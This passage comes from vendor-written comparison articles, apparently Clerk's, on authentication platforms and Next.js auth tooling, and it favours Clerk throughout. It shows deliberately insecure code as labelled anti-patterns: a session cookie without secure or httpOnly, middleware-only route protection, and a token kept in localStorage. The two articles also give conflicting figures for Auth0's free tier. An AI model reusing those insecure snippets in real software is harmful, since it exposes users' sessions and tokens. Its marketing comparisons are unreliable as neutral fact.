    cookie: {
      secure: false, // Allows HTTP transmission
      httpOnly: false, // Accessible via JavaScript
      maxAge: null, // No expiration
    },
  }),
)
```

**Secure session configuration:**

```javascript
app.use(
  session({
    secret: process.env.SESSION_SECRET, // Strong, environment-specific
    cookie: {
      secure: true, // HTTPS only
      httpOnly: true, // No JavaScript access
      sameSite: 'strict', // CSRF protection
      maxAge: 1800000, // 30-minute timeout
    },
    rolling: true, // Extend on activity
    resave: false,
    saveUninitialized: false,
  }),
)
```

Clerk's **60-second token expiration** represents an innovative security approach ([Clerk Architecture Overview](/docs/how-clerk-works/overview)). Traditional JWT implementations use 7-30 day expirations for convenience, creating extended vulnerability windows. Clerk combines short-lived tokens with automatic background refresh on a 50-second interval, maintaining security without degrading user experience. If an attacker steals a token, it expires before exploitation becomes feasible. As Clerk's documentation explains: "When a Session is deleted (user signs out of a device), new tokens cannot be generated, but the most recently generated token can still be used if it was generated less than 60 seconds ago. This guarantees that authentication states in an application will never be invalid for more than 60 seconds" ([Clerk Session Architecture](/blog/how-we-roll-sessions)).

### Compliance certification landscape

Different platforms target different compliance requirements:

**Auth0** offers the most comprehensive certifications: SOC 2 Type II (all 5 Trust Services Criteria), ISO 27001/27017/27018, HIPAA Business Associate capable, GDPR compliant, PCI DSS compliant, and CSA STAR certified ([Auth0 Security Documentation](https://auth0.com/docs/secure/data-privacy-and-compliance)). For healthcare or financial services applications requiring the full suite of certifications, Auth0's comprehensive coverage may be decisive despite higher costs.

**Clerk** provides [SOC 2](/glossary#soc-2) Type II, [HIPAA](/glossary#health-insurance-portability-accountability-act-hipaa) (BAA available upon request), and [CCPA](/glossary#california-consumer-privacy-act-ccpa) compliance with regular third-party audits and penetration testing ([Clerk Security](/user-authentication)). For most B2B SaaS applications, these certifications satisfy customer security questionnaires and vendor assessments.

**Firebase** inherits Google's security posture with SOC 1/2/3, ISO 27001/27017/27018, [GDPR](/glossary#data-privacy), and CCPA compliance ([Firebase Privacy](https://firebase.google.com/support/privacy)). The Google backing provides credibility but lacks HIPAA BAA for Identity Platform.

## Best practices: implementing secure user management

Security best practices from OWASP, NIST, and industry experience converge on key principles:

### Multi-factor authentication is non-negotiable

MFA stops **over 99.9% of automated account compromise attacks** according to Microsoft research analyzing millions of authentication attempts ([Microsoft Security Blog](https://www.microsoft.com/en-us/security/blog/2019/08/20/one-simple-action-you-can-take-to-prevent-99-9-percent-of-account-attacks/); [Microsoft Research](https://www.microsoft.com/en-us/research/publication/how-effective-is-multifactor-authentication-at-deterring-cyberattacks/)). However, this statistic applies primarily to automated attacks; sophisticated targeted attacks using advanced techniques like MFA fatigue, phishing-resistant methods, or session hijacking may have higher success rates. Modern applications should implement MFA with multiple options: SMS codes, authenticator apps (TOTP), [WebAuthn](/glossary#webauthn) (passkeys), or push notifications ([OWASP Authentication Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html)).

Clerk and Auth0 both provide comprehensive MFA implementations with pre-built UI. Firebase Authentication has included built-in multi-factor support (SMS and TOTP) for all projects since 2022. Identity Platform remains available as an optional enterprise offering with additional features and separate pricing.

### Implement proper authorization checks everywhere

OWASP emphasizes that authorization must be validated on **every single request** using centralized mechanisms. One missed check compromises the entire system ([OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)).

Clerk's `proxy.ts` pattern (Next.js 16) makes this the default:

```typescript
// proxy.ts (Next.js 16)
import { clerkMiddleware, createRouteMatcher } from '@clerk/nextjs/server'

const isProtectedRoute = createRouteMatcher(['/dashboard(.*)', '/api/data(.*)'])

export default clerkMiddleware(async (auth, req) => {
  if (isProtectedRoute(req)) {
    await auth.protect() // Enforces authentication
  }
})
```

### Prefer attribute-based over role-based access control

OWASP recommends moving beyond simple RBAC to Attribute-Based Access Control (ABAC) or Relationship-Based Access Control (ReBAC) for complex applications. RBAC suffers from "role explosion"—fine-grained permissions require exponentially more roles. ABAC considers multiple attributes (role, time, location, device) and supports complex Boolean logic ([OWASP Authorization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Authorization_Cheat_Sheet.html)).

For most startup applications, Clerk's organization-scoped permissions and custom roles provide sufficient granularity without premature complexity. As applications mature and permission requirements grow more sophisticated, consider supplementing with dedicated authorization services like Permit.io or OPA (Open Policy Agent).

### Monitor and audit authentication events

SOC 2 compliance requires comprehensive audit logging. Production systems must log authentication attempts, failed logins, permission changes, and administrative actions. Clerk provides built-in [webhooks](/glossary#webhook) for real-time event streaming to your analytics platform. Auth0 offers log streaming to Datadog, Splunk, AWS, and Azure. Firebase requires custom implementation with Cloud Functions ([Clerk Webhooks](/docs/integrations/webhooks)).

## Migration and scaling considerations

Platform selection isn't permanent, but migration carries significant costs that should influence initial decisions.

### Migration complexity assessment

Real-world migration experiences reveal patterns:

**Mimo (6 million users, Auth0 → Firebase):** Completed silent migration without logging out users by implementing custom token exchange endpoints and using Auth0 webhooks during the transition. Total process took approximately **8 hours** for the import plus weeks of preparation ([Mimo Migration Case Study](https://medium.com/firebase-developers/how-we-moved-6-million-users-from-auth0-to-firebase-d46fd13cfda8)).

**Turso (Custom → Clerk):** Chose Clerk partially for migration simplicity. Used Clerk's open-source migration script to import existing users while maintaining legacy system during transition ([Clerk Migration Guide](/docs/deployments/migrate-overview); [Migration Script on GitHub](https://github.com/clerk/migration-script); [Turso Migration Blog](https://turso.tech/blog/why-we-transitioned-to-clerk-for-authentication)). Key insight: "External\_id field preserves legacy identifiers" for foreign key resolution in the application database. The migration script supports multiple password hashers including argon2, bcrypt, md5, pbkdf2\_sha256, and scrypt\_firebase.

**General migration challenges:**

- **Password hashing incompatibilities:** Different platforms use different algorithms (Auth0 custom scrypt vs. Firebase's modified scrypt vs. Clerk's bcrypt). Transparent password migration requires custom implementations.
- **Session disruption:** Changing authentication systems typically logs out all users. Mobile apps can't force updates, requiring graceful degradation.
- **User ID changes:** Most platforms generate new user IDs, requiring careful foreign key management in application databases.
- **Rate limits:** Import APIs have rate limits that extend migration timelines for large user bases.

### Vendor lock-in considerations

Modern authentication platforms create varying degrees of lock-in:

**Clerk:** Proprietary SDKs and component architecture create medium lock-in. Migration requires rebuilding UI components and refactoring authentication logic. However, Clerk significantly reduces lock-in concerns through comprehensive data portability: the dashboard provides **full user data export at no cost** without requiring paid plans or support contact. Users can export complete user records including metadata, authentication methods, and organization memberships. Additionally, Clerk provides well-documented migration paths and an [open-source migration script](https://github.com/clerk/migration-script) supporting multiple password hashers. One analysis noted: "Unlike standards-based platforms, you're binding your application logic and UI to Clerk's SDKs and conventions" ([WorkOS Clerk Alternatives](https://workos.com/blog/the-5-best-clerk-alternatives-in-2024)).

**Auth0:** High lock-in due to Actions, Rules, complex configuration, and extensive integration with application logic. Migration difficulty increases with usage depth. Organizations using Auth0 for 2+ years often find migration costs prohibitive. Additionally, **Auth0 requires a paid plan and contacting support** to obtain user data exports, creating barriers to migration that don't exist with more portable solutions.

**Firebase:** Medium lock-in through custom claims, Security Rules integration, and tight coupling with other Firebase services. Applications using Firebase as a complete platform face higher migration costs than those using authentication alone.

**Mitigation strategy:** Build an authentication abstraction layer if migration flexibility is critical. This adds initial development time but enables platform switching with less refactoring.

### Scaling to millions of users

Platform scalability determines long-term viability:

**Clerk** scales from startup to millions of monthly active users effectively. The platform supports **thousands of developers across over 10,000 active applications** managing authentication for millions of users ([Clerk Billing](/billing)). Stateless JWT verification with automatic refresh handles high throughput without database bottlenecks. The Pro plan includes **50,000 MRUs**, with tiered pricing beyond that: **$0.02/MRU** (50K-100K), **$0.018/MRU** (100K-1M), **$0.015/MRU** (1M-10M), and **$0.012/MRU** (10M+). This volume pricing makes Clerk increasingly competitive at scale. Contact sales for custom Enterprise pricing.

**Auth0** provides enterprise-grade scalability with proven performance at massive scale. However, pricing becomes expensive and opaque above certain thresholds. One community analysis found Auth0 is "the only company that raises the per-user cost instead of lowering it as you get bigger" ([Auth0 Pricing Analysis](https://blog.hyperknot.com/p/comparing-auth-providers)). At very large scale, Auth0's enterprise pricing may actually be competitive if negotiated properly.

**Firebase** leverages Google's infrastructure for unlimited scale. The **free tier covers up to 50,000 MAUs** for Tier 1 providers (email, social, anonymous), making it economically attractive for consumer applications. Beyond the free tier, Identity Platform pricing uses volume tiers: **$0.0055/MAU** (50K-100K), **$0.0046/MAU** (100K-1M), **$0.0032/MAU** (1M-10M), and **$0.0025/MAU** (10M+). At **1 million MAU**, expect approximately **$4,415/month** for Tier 1 authentication.

## Making the right choice for your application

The optimal user management platform depends on specific technical requirements, team capabilities, and business constraints.

### Choose Clerk when you're building React/Next.js B2B SaaS

Clerk emerges as the leading choice for React and Next.js applications, particularly **B2B SaaS startups and scale-ups**. The component-first architecture, comprehensive RBAC, native organizations, and zero-configuration approach deliver unmatched developer productivity. With approximately **20 lines of code and 5-15 minutes of setup time** ([Clerk Quickstart](/docs/quickstarts/nextjs)), developers can achieve production-ready authentication that would take weeks to build custom. This implementation speed advantage compounds across every feature sprint, every new hire, and every product iteration—consistently reported as "hours instead of weeks" in customer testimonials ([Clerk Customer Testimonials](/customers)).

The platform's pricing model aligns well with B2B SaaS economics: at **$20/month (annual) or $25/month (monthly) with 50,000 MRUs included** ([Clerk Pricing](/pricing)), a SaaS application with 5,000 users paying $20/month generates $100,000 MRR while spending just $20-25/month on authentication—the 50K included MRUs mean no overage charges at this scale. Clerk also offers a unique "First Day Free" policy—users aren't counted as retained until 24+ hours after signup, reducing costs for trial users who don't convert.

**Clerk is optimal when:**

- Building with React, Next.js, or Remix
- Targeting B2B SaaS with organizational structures
- Prioritizing development velocity and modern DX (5-15 minute setup vs weeks of custom development)
- Having reasonable MRR per user ($5+/month)
- Needing comprehensive user management without custom development
- Scaling from startup to mid-market (1K-100K users)
- Requiring data portability with no-friction exports
- Needing HIPAA compliance (BAA available) alongside SOC 2 certification
- Wanting affordable SSO with 1 connection included on Pro and volume discounts for additional connections

**Reconsider Clerk if:**

- Building on platforms without a Clerk SDK (implementing without an SDK is very complex and difficult; Clerk provides stable SDKs for React, Next.js, Remix, Gatsby, Astro, Expo, iOS, Android, and others)
- Requiring multi-region data residency for compliance
- Operating at massive scale (1M+ active users) with thin margins (freemium models where MAU costs exceed revenue)
- Building platform businesses (Shopify-style) requiring complete per-customer isolation
- Requiring extensive customization of authentication flows beyond what components/APIs provide

### Choose Auth0 for enterprise compliance and complexity

Auth0 remains the **enterprise-grade standard** for applications with sophisticated compliance requirements and complex authentication scenarios. The comprehensive feature set, extensive protocol support, and mature ecosystem justify higher costs for organizations prioritizing security certifications and vendor stability.

**Auth0 is optimal when:**

- Requiring HIPAA BAA, PCI DSS, or multiple compliance frameworks
- Building multi-application ecosystems needing unified identity
- Serving large enterprises expecting Auth0 specifically
- Having complex authorization requirements with custom business logic
- Operating at massive scale (500K+ users) with enterprise budget
- Needing extensive protocol support (SAML, LDAP, SCIM, WS-Federation)

**Reconsider Auth0 if:**

- Operating with limited budget ($2K+/month is prohibitive)
- Building simple applications with straightforward auth requirements (complexity overhead may not justify benefits)
- Facing rapid growth with B2B customers (SSO connection limits create unpredictable cost spikes)
- Prioritizing developer experience over enterprise features
- Unable to navigate complex pricing negotiations
- Building viral B2C apps with freemium models where MAU pricing outpaces revenue growth

### Choose Firebase for Google ecosystem and consumer scale

Firebase Authentication excels for **mobile-first applications, Google ecosystem integration, and consumer apps with large free user bases**. The free tier (50,000 MAU for Tier 1 authentication providers) and tight integration with other Firebase services create compelling unit economics for consumer applications.

**Firebase is optimal when:**

- Building mobile applications (Android/iOS)
- Using Google Cloud Platform and Firebase services
- Requiring free/low-cost authentication for consumer apps
- Prototyping and validating MVPs rapidly
- Having simple authentication needs without complex user management
- Tolerating some technical limitations in exchange for cost savings

**Reconsider Firebase if:**

- Building complex B2B SaaS requiring organizations and RBAC (no native support necessitates extensive custom development)
- Needing comprehensive user profile management beyond basic authentication
- Requiring mature React/Next.js integration comparable to specialized platforms
- Expecting long-term platform stability (deprecation patterns raise concerns)
- Needing enterprise features like SAML SSO or directory sync (requires Identity Platform upgrade and additional complexity)
- Building applications where relational data models are more appropriate than NoSQL

## Conclusion: developer experience defines the future of authentication

The authentication market has matured beyond basic identity verification into comprehensive user management platforms. The winner in this evolution is clear: **platforms that prioritize developer experience while delivering enterprise-grade security and compliance**.

Clerk represents the new standard for React and Next.js developers, combining zero-configuration simplicity with sophisticated features like native organizations, comprehensive RBAC, and session security innovations. With setup taking **5-15 minutes and approximately 20 lines of code**, developers achieve production-ready authentication that would traditionally require weeks of custom development. This implementation speed advantage compounds across every feature sprint, every new hire, and every product iteration. One developer captured this perfectly: "Clerk feels like the first time I booted my computer with an SSD. It's so much faster and simpler that it changed how I do things" ([Developer Community Feedback](https://blog.hyperknot.com/p/comparing-auth-providers)).

Auth0 maintains its position for enterprise-scale deployments where compliance certifications, extensive customization, and vendor stability justify premium pricing. Organizations handling sensitive healthcare or financial data, serving highly regulated industries, or operating multi-application ecosystems continue to choose Auth0 despite its complexity and cost. For well-funded startups prioritizing maximum speed to market, Auth0's generous free tier (25,000 MAUs) and ability to build POCs in hours can accelerate initial validation, though teams should plan for significant cost increases as they scale.

Firebase serves consumer mobile applications and prototypes effectively, with particular strength in real-time synchronization and generous free-tier economics. For mobile-first applications requiring offline support and instant data sync, Firebase's native mobile SDKs and real-time database capabilities provide features difficult to replicate with other platforms. However, its limitations for web-based B2B SaaS and concerning deprecation patterns (ReactFire in maintenance mode, "Legacy" branding for some features) create long-term viability questions for complex web applications requiring extensive user management.

**The fundamental question is not "which platform has the most features" but rather "which platform enables your team to ship secure products fastest while meeting your specific requirements."** For the majority of modern web applications—particularly B2B SaaS built with React or Next.js—Clerk delivers the optimal balance of developer productivity, security best practices, and comprehensive user management capabilities. Its zero-configuration approach, native organizations feature, and framework-specific optimizations eliminate weeks of development time while providing enterprise-grade security.

Auth0 remains the gold standard for enterprises requiring comprehensive compliance certifications, multi-application identity federation, and support for legacy authentication protocols. The platform's extensive feature set and proven scalability justify premium pricing for organizations where authentication complexity, regulatory requirements, or vendor stability are paramount concerns.

Firebase excels in specific niches—particularly mobile-first applications requiring real-time synchronization and startups needing generous free tiers for rapid prototyping. The platform's integration with Google Cloud services and native mobile SDKs provide capabilities that specialized authentication platforms don't match. However, teams building complex web applications with sophisticated user management requirements should carefully evaluate whether Firebase's limitations outweigh its strengths.

The authentication market will continue evolving rapidly, with the **[passwordless authentication](/glossary#passwordless-login) segment expected to reach $60.34 billion by 2032** ([Fortune Business Insights, 2024](https://www.fortunebusinessinsights.com/passwordless-authentication-market-109838)) and **85% of business applications becoming SaaS-based by 2025** ([Vena Solutions](https://www.venasolutions.com/blog/saas-statistics)). Platforms that combine security innovation with exceptional developer experience will define the next generation of authentication—and Clerk is leading that transformation for the React ecosystem.

---

# The Complete Guide to Auth Tools for Next.js Apps
URL: https://clerk.com/articles/authentication-tools-for-nextjs.md
Date: 2026-03-27
Description: Compare Next.js authentication tools: Clerk (7-min setup), NextAuth.js, Supabase, Auth0. Implementation guides, security patterns, pricing & recommendations.

The leading authentication tools for Next.js are Clerk, NextAuth.js, Supabase Auth, and Auth0. Clerk offers the fastest setup with native [App Router](/glossary#app-router) and [Server Component](/glossary#react-server-components) support, making it the strongest fit for most Next.js projects. NextAuth.js is a popular open-source option for developers who want full control, while Auth0 targets enterprise compliance needs. With the authentication market reaching $19.7 billion in 2024 ([Future Market Insights, 2024](https://www.futuremarketinsights.com/reports/authentication-solution-market)) and 15+ billion accounts now supporting [passwordless authentication](/glossary#passwordless-login) ([FIDO Alliance, 2024](https://fidoalliance.org/passkey-adoption-doubles-in-2024/)), choosing the right tool has never been more critical.

> \[!IMPORTANT]
> This article was updated March 11, 2026. The updates and changes reflect the major [Core 3](/changelog/2026-03-03-core-3) release from March 3, 2026 and Clerk's [new pricing](/changelog/2026-02-05-new-plans-more-value) launched February 5, 2026

## Executive Summary

| Metric                    | Key Finding                               | Impact                                                  |
| ------------------------- | ----------------------------------------- | ------------------------------------------------------- |
| **Market Size**           | $19.7B (2024) → $98.6B (2035)             | Authentication becoming mission-critical infrastructure |
| **Passkey Adoption**      | 800M Google accounts using passkeys       | Passwordless is mainstream, not experimental            |
| **Developer Preference**  | NextAuth.js most popular OSS              | Open-source solutions dominate starter projects         |
| **Security Incidents**    | 99% reduction with MFA                    | Multi-factor authentication now essential               |
| **Implementation Time**   | Minutes with Clerk vs weeks custom        | Managed solutions accelerate time-to-market             |
| **Enterprise Adoption**   | 87% of 10,000+ employee companies use MFA | Enterprise features required for growth                 |
| **Next.js Compatibility** | App Router support varies widely          | Framework-specific optimization crucial                 |

## The authentication implementation challenge

Building authentication for Next.js applications presents unique challenges. Unlike traditional SPAs, Next.js applications leverage [Server Components](/glossary#react-server-components), edge runtime, middleware, and streaming—features that many authentication libraries weren't designed to handle. **A recent critical vulnerability (CVE-2025-29927) affecting Next.js middleware authentication** demonstrates why choosing battle-tested solutions matters ([Datadog Security Labs, 2025](https://securitylabs.datadoghq.com/articles/nextjs-middleware-auth-bypass/)).

The complexity compounds when considering modern requirements: [passkey](/glossary#passkeys) support for the 95% of iOS and Android devices that are passkey-ready ([Biometric Update, 2025](https://www.biometricupdate.com/202501/state-of-passkeys-2025-passkeys-move-to-mainstream)), compliance with GDPR's enhanced 2024 requirements, and protection against AI-powered authentication attacks that have increased 244% year-over-year ([IBM Security, 2025](https://www.ibm.com/reports/data-breach)). Developers need solutions that handle these challenges while maintaining the performance benefits that make Next.js attractive.

## Comparative analysis of authentication platforms

### Performance and implementation metrics

| Platform          | Setup Time | First Auth | Bundle Size | Edge Support | Pricing (10K users) |
| ----------------- | ---------- | ---------- | ----------- | ------------ | ------------------- |
| **Clerk**         | Minutes    | Instant    | \~45KB      |              | Free (50K MRU)      |
| **NextAuth.js**   | 30-60 min  | 30+ min    | \~35KB      |              | Free (self-hosted)  |
| **Supabase Auth** | 15-30 min  | 20 min     | \~45KB      |              | Free (50K MAU)      |
| **Auth0**         | 15-30 min  | 15 min     | \~65KB      | Limited      | $35/month           |
| **Firebase Auth** | 30-45 min  | 30 min     | \~65KB+     |              | Free (50K MAU)      |
| **Stytch**        | 15 minutes | 15 min     | \~40KB      |              | $99/month + usage   |

### Security and compliance features

| Platform        | SOC 2 | GDPR | Passkeys | MFA    | SAML/SSO | Bot Protection |
| --------------- | ----- | ---- | -------- | ------ | -------- | -------------- |
| **Clerk**       |       |      |          |        |          |                |
| **NextAuth.js** |       |      | Manual   | Manual | Manual   |                |
| **Supabase**    |       |      |          |        |          | Basic          |
| **Auth0**       |       |      |          |        |          |                |
| **Firebase**    |       |      | Limited  |        |          |                |
| **Stytch**      |       |      |          |        |          |                |

## Clerk: Purpose-built for Next.js development

Clerk distinguishes itself through its **component-first architecture specifically designed for React and Next.js applications**. Unlike solutions that retrofit authentication onto Next.js, Clerk provides drop-in components—including the unified `<Show>` component for conditional rendering—that work seamlessly with Server Components, proxy/middleware, and edge runtime from day one ([Clerk Documentation](/nextjs-authentication)).

The platform's zero-configuration security means developers get **enterprise-grade protection without weeks of implementation**. Features like breach detection, bot protection, and device tracking work automatically, while the generous free tier of 50,000 MRUs ([Clerk Pricing](/pricing)) provides room to grow without immediate costs. The Pro plan at $25/month adds MFA, custom session lifetimes, and branding removal. This contrasts sharply with Auth0's immediate pricing at scale or the complexity of self-hosting NextAuth.js with proper security.

Clerk also provides **first-class integration with Supabase**, including full Row Level Security (RLS) support ([Clerk Supabase Integration](/docs/integrations/databases/supabase)), enabling developers to leverage Supabase's powerful database features while maintaining Clerk's superior authentication capabilities. This integration provides the best of both worlds: Clerk's comprehensive authentication features with Supabase's database-native security policies. For teams needing advanced features like RBAC ([Clerk Blog, 2025](/blog/nextjs-role-based-access-control)) or passwordless authentication ([Clerk Blog, 2023](/blog/advanced-guide-passwordless-authentication-nextjs)), Clerk delivers these capabilities without the weeks of custom development required by other solutions.

### Implementation comparison: Clerk vs alternatives

**Clerk's streamlined setup** requires just three steps:

First, install the package:

```bash
npm install @clerk/nextjs
```

Next, add `ClerkProvider` to your root layout. Clerk's current SDK uses the `<Show>` component for conditional rendering based on authentication state, replacing the older `<SignedIn>` and `<SignedOut>` components:

```tsx
// app/layout.tsx
import { ClerkProvider, SignInButton, SignUpButton, Show, UserButton } from '@clerk/nextjs'

export default function RootLayout({ children }: { children: React.ReactNode }) {
  return (
    <html lang="en">
      <body>
        <ClerkProvider>
          <header>
            <Show when="signed-out">
              <SignInButton />
              <SignUpButton />
            </Show>
            <Show when="signed-in">
              <UserButton />
            </Show>
          </header>
          {children}
        </ClerkProvider>
      </body>
    </html>
  )
}
```

Finally, create a `proxy.ts` file (replacing the deprecated `middleware.ts` in Next.js 16) to enable Clerk's authentication middleware:

```tsx
// proxy.ts
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

Compare this to **NextAuth.js**, which requires database setup, provider configuration, and custom UI development:

```tsx
// Requires: Database setup, schema creation, adapter configuration
// Custom UI components, session management, token handling
// Typical implementation: 30-60 minutes minimum

export const { auth, handlers } = NextAuth({
  adapter: PrismaAdapter(prisma),
  providers: [GitHub],
  session: { strategy: 'database' },
  // Plus extensive configuration...
})
```

## NextAuth.js/Auth.js: The open-source foundation

NextAuth.js (now Auth.js v5) remains the most popular open-source authentication solution for Next.js, with **27.5K+ GitHub stars and 500+ active contributors** ([GitHub Repository](https://github.com/nextauthjs/next-auth)). Its framework-agnostic approach and support for 70+ providers ([NextAuth.js Documentation](https://next-auth.js.org/providers)) make it attractive for teams comfortable with database management and custom implementation.

However, the trade-offs are significant. **Setup complexity increases dramatically** when implementing production requirements like [MFA](/glossary#multi-factor-authentication-mfa), [SAML](/glossary#security-assertion-markup-language-saml) [SSO](/glossary#single-sign-on-sso), or passkey support. Teams report spending weeks building features that managed solutions provide instantly ([Medium, 2024](https://medium.com/@annasaaddev/authentication-in-next-js-guide)). The community-driven support model, while active, lacks SLA guarantees that enterprises require.

### When NextAuth.js makes sense

NextAuth.js excels for teams that prioritize complete data ownership and have engineering resources for ongoing maintenance. **Cost-sensitive projects expecting significant user growth** benefit from avoiding per-user pricing, though hidden costs in development time and security maintenance often exceed managed solution fees ([DevTools Academy, 2024](https://www.devtoolsacademy.com/blog/nextauth-costs)).

## Supabase Auth: The full-stack integration

Supabase Auth leverages its PostgreSQL foundation to provide **database-native Row Level Security (RLS)** that excels at data-level authorization ([Supabase Documentation](https://supabase.com/docs/guides/auth/row-level-security)). The @supabase/ssr package delivers first-class Next.js integration with automatic session refresh and cookie management.

Performance benchmarks show **4x faster reads and 3.1x faster writes compared to Firebase** ([Supabase Blog](https://supabase.com/blog/supabase-vs-firebase-performance)), while the generous free tier (50,000 MAUs) provides substantial runway. However, Supabase's authentication features remain relatively simplistic compared to dedicated authentication platforms.

### Database-integrated authentication advantages and limitations

```sql
-- Supabase's SQL-based security policies
CREATE POLICY "Users see own data" ON profiles
FOR SELECT USING (auth.uid() = user_id);

```

This database-level security provides **fine-grained data access control**, but the authentication layer itself lacks advanced features like device fingerprinting, bot protection, and comprehensive [social login](/glossary#social-login) options. For teams requiring both sophisticated authentication and database-native security, **Clerk's first-class Supabase integration** enables using Clerk for authentication while maintaining full RLS support ([Clerk Documentation](/docs/integrations/databases/supabase)), effectively combining the strengths of both platforms.

### Implementing Clerk with Supabase RLS

The Clerk-Supabase integration enables **seamless authentication with database-level security**. Here's a practical implementation showing how to use Clerk's authentication while maintaining Supabase's RLS policies:

```tsx
// app/tasks/page.tsx - Server Component with Clerk + Supabase
import { auth } from '@clerk/nextjs/server'
import { createClient } from '@supabase/supabase-js'

// Create Supabase client with Clerk session token
function createClerkSupabaseClient() {
  return createClient(
    process.env.NEXT_PUBLIC_SUPABASE_URL!,
    process.env.NEXT_PUBLIC_SUPABASE_KEY!,
    {
      async accessToken() {
        return (await auth()).getToken()
      },
    },
  )
}

export default async function TasksPage() {
  const client = createClerkSupabaseClient()

  // Query respects RLS policies using Clerk user ID
  const { data: tasks } = await client.from('tasks').select('*')
  // RLS automatically filters by auth.jwt()->>'sub' (Clerk user ID)

  return (
    <div>
      <h1>My Tasks</h1>
      {tasks?.map((task) => (
        <div key={task.id}>{task.name}</div>
      ))}
    </div>
  )
}
```

```sql
-- Supabase RLS policy using Clerk's user ID
CREATE POLICY "Users see own tasks" ON tasks
FOR SELECT USING (
  (auth.jwt()->>'sub') = user_id
);

```

This integration provides **enterprise authentication features** (MFA, passkeys, bot protection) from Clerk while maintaining Supabase's powerful database capabilities—without requiring months of custom development ([Clerk Blog, 2023](/blog/nextjs-authentication)).

## Auth0: Enterprise legacy with growing costs

Auth0's mature platform offers extensive enterprise features and compliance certifications, but its **"growth penalty" pricing model** can increase costs 15x when crossing tier thresholds ([SuperTokens Blog, 2024](https://supertokens.com/blog/auth0-pricing)). Recent security incidents (two breaches in 12 months) and the September 2024 free tier reduction from 25,000 to 7,500 MAUs ([Auth0 Blog, 2024](https://auth0.com/blog/pricing-updates)) have prompted many teams to evaluate alternatives.

The platform's strength lies in its **global infrastructure handling billions of logins monthly** ([Auth0 Platform](https://auth0.com/why-auth0)), though Next.js integration requires careful configuration for optimal performance. The new FirebaseServerApp approach for SSR support adds complexity compared to purpose-built Next.js solutions.

## Firebase Auth: Google ecosystem with integration challenges

Firebase Auth's deep Google ecosystem integration makes it attractive for teams using Google Cloud services, but **Next.js compatibility remains problematic**. The platform requires service workers for token management ([Stack Overflow, 2024](https://stackoverflow.com/questions/78011450/firebase-authentication-nextjs)), complex dual SDK setups, and shows multiple Edge Runtime incompatibilities ([GitHub Issues](https://github.com/vercel/next.js/issues)).

While the free tier matches competitors at 50,000 MAUs, the **per-operation pricing model** creates unpredictable costs at scale ([MetaCTO, 2025](https://www.metacto.com/blogs/firebase-auth-costs)). Teams report spending significant time working around Next.js-specific limitations that don't exist with purpose-built solutions.

## Emerging platforms: Descope and Stytch

### Descope: Visual authentication workflows

Descope's **drag-and-drop authentication flow builder** enables real-time updates without code changes ([Descope Features](https://www.descope.com/features)). The visual approach benefits teams with non-technical stakeholders, though the $249/month starting price for 10K MAUs is higher than competitors.

### Stytch: Passwordless-first architecture

Stytch emphasizes **passwordless authentication with strong B2B capabilities** ([Stytch Products](https://stytch.com/products/passwordless)). The developer-first API design and transparent usage-based pricing ($0.10 per MAU) attract technical teams, though the $99/month platform fee for branding removal adds to costs ([Stytch Pricing](https://stytch.com/pricing)).

## Technical implementation patterns

### Secure authentication in Next.js 16

The critical CVE-2025-29927 vulnerability ([Strobes, 2025](https://strobes.co/blog/understanding-next-js-vulnerability/)) fundamentally changed authentication best practices—and is a key reason Next.js 16 renamed `middleware.ts` to `proxy.ts`. **Proxy/middleware alone is no longer sufficient for security**:

```tsx
// ❌ VULNERABLE: Relying solely on proxy/middleware for auth
import { NextRequest, NextResponse } from 'next/server'

export function middleware(request: NextRequest) {
  if (!token && request.nextUrl.pathname.startsWith('/admin')) {
    return NextResponse.redirect('/login')
  }
}
```

Instead, use **defense in depth** by validating authentication at the component level. Clerk's `auth().protect()` method handles both authentication and role-based authorization in a single call:

```tsx
// ✅ SECURE: Defense in depth with Clerk
import { auth } from '@clerk/nextjs/server'

export default async function AdminPage() {
  // Redirects to sign-in if unauthenticated
  // Returns 404 if authenticated but not authorized
  const { userId } = await auth.protect({ role: 'org:admin' })

  return <AdminDashboard userId={userId} />
}
```

### Edge runtime optimization

Edge compatibility varies dramatically across platforms. **Clerk's edge-optimized architecture** provides full proxy support without the Node.js dependency issues plaguing Firebase and Auth0:

```tsx
// proxy.ts — Clerk's edge-compatible proxy
import { clerkMiddleware } from '@clerk/nextjs/server'

export default clerkMiddleware()

export const config = {
  matcher: [
    '/((?!_next|[^?]*\\.(?:html?|css|js(?!on)|jpe?g|webp|png|gif|svg|ttf|woff2?|ico|csv|docx?|xlsx?|zip|webmanifest)).*)',
    '/(api|trpc)(.*)',
  ],
}
```

## Vulnerability patterns and secure implementations

### Common authentication vulnerabilities

Recent security audits reveal **three critical vulnerability patterns** in Next.js authentication:

1. **Token exposure through client storage** (localStorage/sessionStorage)
2. **Missing server-side validation** in Server Components
3. **Inadequate [CSRF](/glossary#cross-site-request-forgery-csrf) protection** in custom implementations

### Secure token management

```tsx
// ✅ Clerk's hybrid architecture
// Short-lived session tokens (60s TTL) + secure backend API
// Details: /docs/guides/how-clerk-works/overview

// ❌ Common vulnerable pattern
localStorage.setItem('token', authToken) // XSS vulnerable
```

Clerk uses a **hybrid architecture with short-lived session tokens** managed through secure backend APIs ([Clerk Architecture](/docs/guides/how-clerk-works/overview)), eliminating common token storage vulnerabilities while maintaining performance. Session tokens have a 60-second TTL with automatic refresh on a 50-second interval, ensuring tokens are always fresh without exposing long-lived credentials to the client.

## Performance and scalability analysis

### Authentication performance metrics

| Metric               | Clerk          | NextAuth (DB)   | Supabase  | Auth0  |
| -------------------- | -------------- | --------------- | --------- | ------ |
| **Cold start**       | \< 100ms       | 200-300ms       | 150ms     | 300ms  |
| **Token validation** | 10ms           | 50ms (DB query) | 20ms      | 30ms   |
| **Session refresh**  | Automatic      | Manual          | Automatic | Manual |
| **Edge latency**     | \< 50ms global | Varies          | 100ms     | 150ms  |

Clerk's **component-first approach with Server Components** eliminates client-side authentication overhead, reducing JavaScript bundle size while improving performance.

## Cost analysis for scaling applications

### Total cost of ownership at 50,000 monthly users

| Solution        | Monthly Cost          | Hidden Costs          | Developer Time | Total TCO |
| --------------- | --------------------- | --------------------- | -------------- | --------- |
